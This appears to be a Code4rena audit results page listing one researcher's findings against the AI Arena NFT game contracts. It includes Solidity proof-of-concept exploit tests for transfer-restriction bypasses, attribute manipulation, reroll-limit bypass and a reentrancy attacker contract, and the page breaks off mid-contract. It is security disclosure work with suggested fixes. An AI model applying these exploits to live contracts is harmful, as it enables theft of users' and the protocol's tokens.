AI Arena - klau5's results

In AI Arena you train an AI character to battle in a platform fighting game. Imagine a cross between Pokémon and Super Smash Bros, but the characters are AIs, and you can train them to learn almost any skill in preparation for battle.

General Information

Platform: Code4rena

Start Date: 09/02/2024

Pot Size: $60,500 USDC

Total HM: 17

Participants: 283

Period: 12 days

Judge:

Id: 328

League: ETH

AI Arena

Findings Distribution

Researcher Performance

Rank: 11/283

Findings: 14

Award: $387.62

🌟 Selected for report: 3

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L355-L359 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L539

Vulnerability details

Impact

Fighter NFTs can bypass untransferable conditions and be transfered. This allows attacker to recover unrecoverable loss and steal the protocol's tokens.

Proof of Concept

In FighterFarm, transferFrom and safeTransferFrom are overridden to prevent users to own up to MAX_FIGHTERS_ALLOWED or moving NFTs which is staked.

function transferFrom(
    address from, 
    address to, 
    uint256 tokenId
) 
    public 
    override(ERC721, IERC721)
{
@>  require(_ableToTransfer(tokenId, to));
    _transfer(from, to, tokenId);
}

function safeTransferFrom(
    address from, 
    address to, 
    uint256 tokenId
) 
    public 
    override(ERC721, IERC721)
{
@>  require(_ableToTransfer(tokenId, to));
    _safeTransfer(from, to, tokenId, "");
}

function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
    return (
      _isApprovedOrOwner(msg.sender, tokenId) &&
@>    balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
@>    !fighterStaked[tokenId]
    );
}

However, ERC721 has two safeTransferFrom functions. One function has a data parameter, and the other does not. FighterFarm only overrides the function without the data parameter, so if you call safeTransferFrom with the data parameter, you can bypass _ableToTransfer.

/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
///  operator, or the approved address for this NFT. Throws if `_from` is
///  not the current owner. Throws if `_to` is the zero address. Throws if
///  `_tokenId` is not a valid NFT. When transfer is complete, this function
///  checks if `_to` is a smart contract (code size > 0). If so, it calls
///  `onERC721Received` on `_to` and throws if the return value is not
///  `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;

/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
///  except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;

The most serious impact is that tokens with stakeAtRisk can be transfered, which can disrupt staking-related features.

Suppose the attacker got loss of 100 NRN in a previous round. amountLost[fighterOwner] is 100. This is a loss from the previous round and can no longer be recovered.

At this time, the attacker buy an NFT with stakeAtRisk. stakeAtRisk is generated when you play the game this round and only occurs when you stake tokens and play the game. You can trade NFTs with staking and stakeAtRisk using safeTransferFrom(address,address,uint256,bytes). (Even if stakeAtRisk is forced to be 0 when calling updateFighterStaking at unstaking, you can move the NFT in staking state by safeTransferFrom, so it has a different root cause)

With this NFT, attacker can recover previous rounds's loss, which means stealing the token of the protocol.

  • Alice owns NFT1 and had 100 stakeAtRisk with NFT1 at past round.
    • Since the round has already passed, this loss of 100 NRN is a past loss that can no longer be recovered.
    • Since amountLost[fighterOwner] is a total amount regardless of rounds, it remains 100 even after the round.
    • stakeAtRisk of NFT1: 0 (current round)
    • amountLost: 100 (this should be unrecoverable)
  • Alice buys NFT2 from the secondary market, which has 100 stakeAtRisk (and NFT2 can be transfered even if it has staked NRN, by safeTransferFrom(address,address,uint256,bytes))
    • stakeAtRisk of NFT1: 0
    • stakeAtRisk of NFT2: 100
    • amountLost: 100
  • Alice wins with NFT2 and reclaims 100.
    • stakeAtRisk of NFT1: 0
    • stakeAtRisk of NFT2: 0
    • amountLost: 0
  • Alice recovers the past loss through NFT2. Alice recovered past loss, which shouldn't be recovered, which means she steals the protocol's token.

This is PoC. Add to the StakeAtRisk.t.sol file and test.

function testPoCSafeTransferFromNotOverridden() public {
    address seller = vm.addr(3);
    address buyer = vm.addr(4);
    
    uint256 stakeAmount = 3_000 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;

    _mintFromMergingPool(buyer);
    uint256 tokenId_buyer = 0;
    assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer);

    _fundUserWith4kNeuronByTreasury(buyer);
    vm.prank(buyer);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId_buyer);
    assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount);

    // buyer loses with tokenId_buyer
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true);

    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount);

    // round 0 passed
    // tokenId_buyer's round 0 StakeAtRisk is reset
    vm.prank(address(_rankedBattleContract));
    _stakeAtRiskContract.setNewRound(1);
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0);

    // seller mint token, lose battle and sell the NFT
    _mintFromMergingPool(seller);
    uint256 tokenId = 1;
    assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
    _fundUserWith4kNeuronByTreasury(seller);
    vm.prank(seller);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);

    // loses battle, get stakeAtRisk
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount);

    // seller sell token to buyer (with staking tokens)
    vm.startPrank(seller);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount - expectedStakeAtRiskAmount); // staked NFT
    assertEq(_rankedBattleContract.hasUnstaked(tokenId, 1), false); // staked NFT
    _fighterFarmContract.safeTransferFrom(seller, buyer, tokenId, ""); // but seller can transfer with safeTransferFrom(address,address,uint256,bytes)
    vm.stopPrank();

    // buyer can recover old lost with new NFT!
    assertEq(_stakeAtRiskContract.amountLost(buyer), expectedStakeAtRiskAmount);

    // buyer win with bought NFT (tokenId 0)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);

    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), 0); // Reclaimed all stakeAtRisk of bought NFT(token 1)
    assertEq(_stakeAtRiskContract.amountLost(buyer), 0, "reclaimed old lost");
}

Tools Used

Manual Review

Override safeTransferFrom(address,address,uint256,bytes) too.

More appropriate way is to use _beforeTokenTransfer hook instead of overriding safeTransferFrom and transferFrom.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L432

Assessed type

Other

#0 - c4-pre-sort

2024-02-23T04:21:31Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-23T04:21:40Z

raymondfam marked the issue as duplicate of #54

#2 - c4-pre-sort

2024-02-23T04:47:08Z

raymondfam marked the issue as duplicate of #739

#3 - c4-pre-sort

2024-02-23T04:50:32Z

raymondfam marked the issue as sufficient quality report

#4 - c4-judge

2024-03-11T02:34:05Z

HickupHH3 marked the issue as satisfactory

#5 - c4-judge

2024-03-11T02:35:33Z

HickupHH3 removed the grade

#6 - c4-judge

2024-03-11T02:35:37Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/GameItems.sol#L291

Vulnerability details

Impact

Can still transfer items that are untransferable.

Proof of Concept

There are items that cannot be transferred. GameItems overrides the safeTransferFrom function to check for transferable settings.

function safeTransferFrom(
    address from, 
    address to, 
    uint256 tokenId,
    uint256 amount,
    bytes memory data
) 
    public 
    override(ERC1155)
{
@>  require(allGameItemAttributes[tokenId].transferable);
    super.safeTransferFrom(from, to, tokenId, amount, data);
}

Openzeppelin's ERC1155 has a safeBatchTransferFrom function. This is a function that transfers multiple ERC1155 tokens at once. However, GameItems does not override the safeBatchTransferFrom function.

function safeBatchTransferFrom(
    address from,
    address to,
    uint256[] memory ids,
    uint256[] memory amounts,
    bytes memory data
) public virtual override {
    require(
        from == _msgSender() || isApprovedForAll(from, _msgSender()),
        "ERC1155: caller is not token owner nor approved"
    );
    _safeBatchTransferFrom(from, to, ids, amounts, data);
}

Therefore, even if the token is untransferable, transfer is possible using safeBatchTransferFrom.

This is PoC. You can add it to the GameItems.t.sol file and test it.

function testPoCSafeBatchTransferFrom() public {
    _fundUserWith4kNeuronByTreasury(_ownerAddress);
    _gameItemsContract.mint(0, 2); //paying 2 $NRN for 2 batteries
    _gameItemsContract.adjustTransferability(0, false);
    (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
    assertEq(transferable, false);

    // safeTransferFrom should fail
    vm.expectRevert();
    _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

    // SafeBatchTransferFrom should fail too but it does not fail
    uint256[] memory ids = new uint256[](1);
    ids[0] = 0;
    uint256[] memory amounts = new uint256[](1);
    amounts[0] = 1;

    _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");

    assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
    assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);
}

Tools Used

Manual Review

Override safeBatchTransferFrom and check if all tokenIds are transferable.

function safeBatchTransferFrom(
    address from,
    address to,
    uint256[] memory ids,
    uint256[] memory amounts,
    bytes memory data
) public override(ERC1155) {
    for(uint256 i = 0; i < ids.length; i ++){
        require(allGameItemAttributes[ids[i]].transferable, "not transferable");
    }
    super._safeBatchTransferFrom(from, to, ids, amounts, data);
}

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-22T03:21:59Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T03:22:11Z

raymondfam marked the issue as duplicate of #18

#2 - c4-pre-sort

2024-02-26T00:26:36Z

raymondfam marked the issue as duplicate of #575

#3 - c4-judge

2024-03-05T04:47:39Z

HickupHH3 changed the severity to 3 (High Risk)

#4 - c4-judge

2024-03-05T04:48:52Z

HickupHH3 marked the issue as satisfactory

Awards

1.2667 USDC - $1.27

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
upgraded by judge
:robot:_86_group
duplicate-366

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L233

Vulnerability details

Impact

A manipulated NFT can be created. Users can create an NFT with the attributes they want.

Proof of Concept

When calling redeemMintPass, the fighterTypes, iconsTypes, and mintPassDnas parameters are passed from the user. There is no verification code for these parameters. Therefore, the user can set them as they want. However, these attributes should not be freely set by the user.

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
@>  uint8[] calldata fighterTypes,
@>  uint8[] calldata iconsTypes,
@>  string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
) 
    external 
{
    require(
        mintpassIdsToBurn.length == mintPassDnas.length && 
        mintPassDnas.length == fighterTypes.length && 
        fighterTypes.length == modelHashes.length &&
        modelHashes.length == modelTypes.length
    );
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);
        _createNewFighter(
            msg.sender, 
@>          uint256(keccak256(abi.encode(mintPassDnas[i]))), 
            modelHashes[i], 
            modelTypes[i],
@>          fighterTypes[i],
@>          iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

In particular, if you manipulate mintPassDnas, you can create a Fighter NFT with the desired performance. If you manipulate fighterTypes, you can mint a special type of Fighter, the Dendroid. You can mint rare NFTs and sell it expensive in the secondary market.

This is PoC. Add it to FighterFarm.t.sol and run it. It shows that you can find the DNA that creates a robot with the weight you wants and can mint it.

function testPoCRedeemMintPassManipulateParam() public {
    uint8[2] memory numToMint = [1, 0];
    bytes memory signature = abi.encodePacked(
        hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
    );
    string[] memory _tokenURIs = new string[](1);
    _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // first i have to mint an nft from the mintpass contract
    assertEq(_mintPassContract.mintingPaused(), false);
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

    // once owning one i can then redeem it for a fighter
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    _mintPassDNAs[0] = "dna";
    _fighterTypes[0] = 0;
    _neuralNetHashes[0] = "neuralnethash";
    _modelTypes[0] = "original";
    _iconsTypes[0] = 1;

    // approve the fighterfarm contract to burn the mintpass
    _mintPassContract.approve(address(_fighterFarmContract), 1);

    // find DNA
    string memory foundDNA;
    string memory searchDNA = "A";
    uint256 calculatedWeight;
    while(true){
        foundDNA = string.concat(foundDNA, searchDNA); // test with AAAAA...AAA
        uint256 dna = uint256(keccak256(abi.encode(foundDNA)));
        calculatedWeight = dna % 31 + 65;

        // user wants this specific weight.
        if(calculatedWeight > 80){
            break;
        }
    }

    _mintPassDNAs[0] = foundDNA;

    _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );

    // check balance to see if we successfully redeemed the mintpass for a fighter
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
    
    // check weight
    (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(0);
    assertGt(weight, 80);
    assertEq(weight, calculatedWeight);
}

Tools Used

Manual Review

In the redeemMintPass function, receive an admin signature as a parameter and verify that the user parameter is correct.

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-22T07:30:45Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T07:30:54Z

raymondfam marked the issue as duplicate of #33

#2 - c4-pre-sort

2024-02-26T00:53:01Z

raymondfam marked the issue as duplicate of #1626

#3 - c4-judge

2024-03-05T10:54:35Z

HickupHH3 marked the issue as satisfactory

#4 - c4-judge

2024-03-05T10:54:40Z

HickupHH3 changed the severity to 3 (High Risk)

#5 - c4-judge

2024-03-06T03:25:28Z

HickupHH3 marked the issue as not a duplicate

#6 - c4-judge

2024-03-06T03:25:36Z

HickupHH3 marked the issue as duplicate of #197

#7 - c4-judge

2024-03-06T03:30:23Z

HickupHH3 marked the issue as duplicate of #366

Awards

1.4592 USDC - $1.46

Labels

bug
3 (High Risk)
primary issue
selected for report
sponsor confirmed
sufficient quality report
upgraded by judge
:robot:_49_group
H-04

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L372

Vulnerability details

Impact

Can reroll attributes based on a different fighterType, and can bypass maxRerollsAllowed.

Proof of Concept

maxRerollsAllowed can be set differently depending on the fighterType. Precisely, it increases as the generation of fighterType increases.

function incrementGeneration(uint8 fighterType) external returns (uint8) {
    require(msg.sender == _ownerAddress);
@>  generation[fighterType] += 1;
@>  maxRerollsAllowed[fighterType] += 1;
    return generation[fighterType];
}

The reRoll function does not verify if the fighterType given as a parameter is actually the fighterType of the given tokenId. Therefore, it can use either 0 or 1 regardless of the actual type of the NFT.

This allows bypassing maxRerollsAllowed for additional reRoll, and to call _createFighterBase and createPhysicalAttributes based on a different fighterType than the actual NFT's fighterType, resulting in attributes calculated based on different criteria.

function reRoll(uint8 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
@>  require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
@>      (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
@>          generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

This is PoC.

  1. First, there is a bug that there is no way to set numElements, so add a numElements setter to FighterFarm. This bug has been submitted as a separate report.

    function numElementsSetterForPoC(uint8 _generation, uint8 _newElementNum) public {
        require(msg.sender == _ownerAddress);
        require(_newElementNum > 0);
        numElements[_generation] = _newElementNum;
    }
  2. Add a test to the FighterFarm.t.sol file and run it. The generation of Dendroid has increased, and maxRerollsAllowed has increased. The user who owns the Champion NFT bypassed maxRerollsAllowed by putting the fighterType of Dendroid as a parameter in the reRoll function.

    function testPoCRerollBypassMaxRerollsAllowed() public {
        _mintFromMergingPool(_ownerAddress);
        // get 4k neuron from treasury
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        // after successfully minting a fighter, update the model
        if (_fighterFarmContract.ownerOf(0) == _ownerAddress) {
            uint8 maxRerolls = _fighterFarmContract.maxRerollsAllowed(0);
            uint8 exceededLimit = maxRerolls + 1;
            uint8 tokenId = 0;
            uint8 fighterType = 0;
    
            // The Dendroid's generation changed, and maxRerollsAllowed for Dendroid is increased
            uint8 fighterType_Dendroid = 1;
    
            _fighterFarmContract.incrementGeneration(fighterType_Dendroid);
    
            assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType_Dendroid), maxRerolls + 1);
            assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType), maxRerolls); // Champions maxRerollsAllowed is not changed
    
            _neuronContract.addSpender(address(_fighterFarmContract));
    
            _fighterFarmContract.numElementsSetterForPoC(1, 3); // this is added function for poc
    
            for (uint8 i = 0; i < exceededLimit; i++) {
                if (i == (maxRerolls)) {
                    // reRoll with different fighterType
                    assertEq(_fighterFarmContract.numRerolls(tokenId), maxRerolls);
                    _fighterFarmContract.reRoll(tokenId, fighterType_Dendroid);
                    assertEq(_fighterFarmContract.numRerolls(tokenId), exceededLimit);
                } else {
                    _fighterFarmContract.reRoll(tokenId, fighterType);
                }
            }
        }
    }

Tools Used

Manual Review

Check fighterType at reRoll function.

function reRoll(uint8 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
+   require((fighterType == 1 && fighters[tokenId].dendroidBool) || (fighterType == 0 && !fighters[tokenId].dendroidBool), "Wrong fighterType");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
        (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-22T00:05:57Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-22T00:06:04Z

raymondfam marked the issue as duplicate of #17

#2 - c4-pre-sort

2024-02-22T00:48:08Z

raymondfam marked the issue as not a duplicate

#3 - c4-pre-sort

2024-02-22T00:48:21Z

raymondfam marked the issue as duplicate of #212

#4 - c4-pre-sort

2024-02-22T00:48:26Z

raymondfam marked the issue as sufficient quality report

#5 - raymondfam

2024-02-22T00:57:06Z

This report covers three consequences from the same root cause of fighter type validation: 1. more re-rolls, 2. rarer attribute switch, 3. generation attribute switch, with coded POC.

#6 - c4-pre-sort

2024-02-22T00:57:13Z

raymondfam marked the issue as not a duplicate

#7 - c4-pre-sort

2024-02-22T00:57:20Z

raymondfam marked the issue as primary issue

#8 - c4-sponsor

2024-03-04T01:18:55Z

brandinho (sponsor) confirmed

#9 - c4-judge

2024-03-05T04:09:05Z

HickupHH3 marked the issue as selected for report

#10 - HickupHH3

2024-03-05T04:28:31Z

#212's fix is a little more elegant

#11 - c4-judge

2024-03-05T04:49:26Z

HickupHH3 changed the severity to 3 (High Risk)

#12 - SonnyCastro

2024-04-13T15:41:55Z

Mitigated here

Awards

111.676 USDC - $111.68

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
upgraded by judge
:robot:_49_group
duplicate-68

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L370

Vulnerability details

Impact

NFTs with a tokenId greater than 255 cannot reroll.

Proof of Concept

The tokenId parameter type for the reRoll function is uint8. However, the entire system uses uint256 for tokenId. Therefore, NFTs with a tokenId greater than 255 cannot reroll.

@> function reRoll(uint8 tokenId, uint8 fighterType) public {
    ...
   }

This is PoC. Add it to FighterFarm.t.sol and run it.

function testPoCCannotRerollMoreThan255() public {
    // token 0 mintted to _ownerAddress
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
    uint256 tokenIdFirst = _fighterFarmContract.tokenOfOwnerByIndex(_ownerAddress, 0);

    for(uint160 i = 1; i < 256; i++){
        // token 1 ~ 255 minted to address(1) ~ address(255)
        _mintFromMergingPool(address(i));
    }

    // token 256 mintted to _ownerAddress
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 2);
    uint256 tokenIdSecond = _fighterFarmContract.tokenOfOwnerByIndex(_ownerAddress, 1);
    assertEq(tokenIdSecond, 256);

    // get 4k neuron from treasury
    _fundUserWith4kNeuronByTreasury(_ownerAddress);
    _neuronContract.addSpender(address(_fighterFarmContract));

    uint8 fighterType = 0;
    
    _fighterFarmContract.reRoll(uint8(tokenIdSecond), fighterType); // cannot use uint256 tokenId parameter, so cast id to uint8
    assertEq(_fighterFarmContract.numRerolls(tokenIdSecond), 0); // tokenId 256 not rerolled
    assertEq(_fighterFarmContract.numRerolls(tokenIdFirst), 1); // tokenId 0 is rerolled (by type casting)
}

Tools Used

Manual Review

Use uint256 for tokenId parameter

-  function reRoll(uint8 tokenId, uint8 fighterType) public {
+  function reRoll(uint256 tokenId, uint8 fighterType) public {
    ...
   }

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T01:16:55Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T01:17:11Z

raymondfam marked the issue as duplicate of #68

#2 - c4-judge

2024-03-05T01:56:37Z

HickupHH3 marked the issue as satisfactory

#3 - c4-judge

2024-03-05T02:04:51Z

HickupHH3 changed the severity to 3 (High Risk)

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L129-L134 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L470

Vulnerability details

Impact

Can no longer mint or reroll the NFT of that fighterType.

Proof of Concept

When creating a new NFT or rerolling, it calculates the element using the numElements value.

function _createFighterBase(
    uint256 dna, 
    uint8 fighterType
) 
    private 
    view 
    returns (uint256, uint256, uint256) 
{
@>  uint256 element = dna % numElements[generation[fighterType]];
    uint256 weight = dna % 31 + 65;
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
}

numElements is different for each generation. Therefore, when the generation changes, a new numElements value should be set. However, there is no function to set numElements in the FighterFarm contract.

The function to set generation also does not set a new numElements.

function incrementGeneration(uint8 fighterType) external returns (uint8) {
    require(msg.sender == _ownerAddress);
    generation[fighterType] += 1;
    maxRerollsAllowed[fighterType] += 1;
    return generation[fighterType];
}

The default value of numElements[generation[fighterType]] is 0. If you try dna % 0, the transaction is reverted due to a division or modulo by zero error. Therefore, if you increase the generation, you can no longer mint NFT of that fighterType or reroll.

This is PoC. Add it to the FighterFarm.t.sol file and run it.

function testPoCNumElementsNotSet() public {
    _mintFromMergingPool(_ownerAddress);
    // get 4k neuron from treasury
    _fundUserWith4kNeuronByTreasury(_ownerAddress);
    _neuronContract.addSpender(address(_fighterFarmContract));

    if (_fighterFarmContract.ownerOf(0) == _ownerAddress) {
        uint8 tokenId = 0;
        uint8 fighterType = 0;
        // after successfully minting a fighter, update the generation
        _fighterFarmContract.incrementGeneration(fighterType);
        
        // cannot mint or reroll fighterType 0 anymore because of numElements, and there is no setter of numElements
        vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x12)); // division or modulo by zero
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(80)]); // try to mint fighterType 0

        vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x12)); // division or modulo by zero
        _fighterFarmContract.reRoll(tokenId, fighterType);
    }
}

Tools Used

Manual Review

Add setter or set numElements at incrementGeneration

- function incrementGeneration(uint8 fighterType) external returns (uint8) {
+ function incrementGeneration(uint8 fighterType, uint256 newNumElements) external returns (uint8) {
     require(msg.sender == _ownerAddress);
+    require(newNumElements > 0);
     generation[fighterType] += 1;
     maxRerollsAllowed[fighterType] += 1;
+    numElements[generation[fighterType]] = newNumElements;
     return generation[fighterType];
}

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T18:23:30Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T18:23:38Z

raymondfam marked the issue as duplicate of #45

#2 - c4-judge

2024-03-07T06:53:30Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-07T06:54:22Z

HickupHH3 marked the issue as satisfactory

Awards

64.3894 USDC - $64.39

Labels

bug
3 (High Risk)
satisfactory
sufficient quality report
:robot:_22_group
duplicate-37

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L148-L150

Vulnerability details

Impact

Attacker can get more reward NFT.

Proof of Concept

In FighterFarm.mintFromMergingPool, it calls _safeMint to mint ERC721, so the onERC721Received hook of the NFT recipient is called. So attacker can reenter the claimRewards function.

The claimRewards function uses the cached lowerBound while looping. Therefore, when you come back after calling claimRewards through re-entry, lowerBound is still the same as the old value of numRoundsClaimed. Therefore, it continues to loop based on the old numRoundsClaimed value.

function claimRewards(
    string[] calldata modelURIs, 
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
) 
    external 
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
@>  uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
@>      numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
@>              _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

This is a PoC. It shows that you can receive rewards multiple times through reentrancy attack.

First, add the PoCClaimRewardsReentrancy contract at the bottom of MergingPool.t.sol. This contract can be considered as a customisable Contract wallet of the attacker.

contract PoCClaimRewardsReentrancy {
    uint256 counter;
    MergingPool mergingPool;
    bool startAttack;

    constructor(MergingPool _mergingPool) {
        mergingPool = _mergingPool;
    }

    function attack() public {
        startAttack = true;

        // claim 0, 1 round
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        startAttack = false;
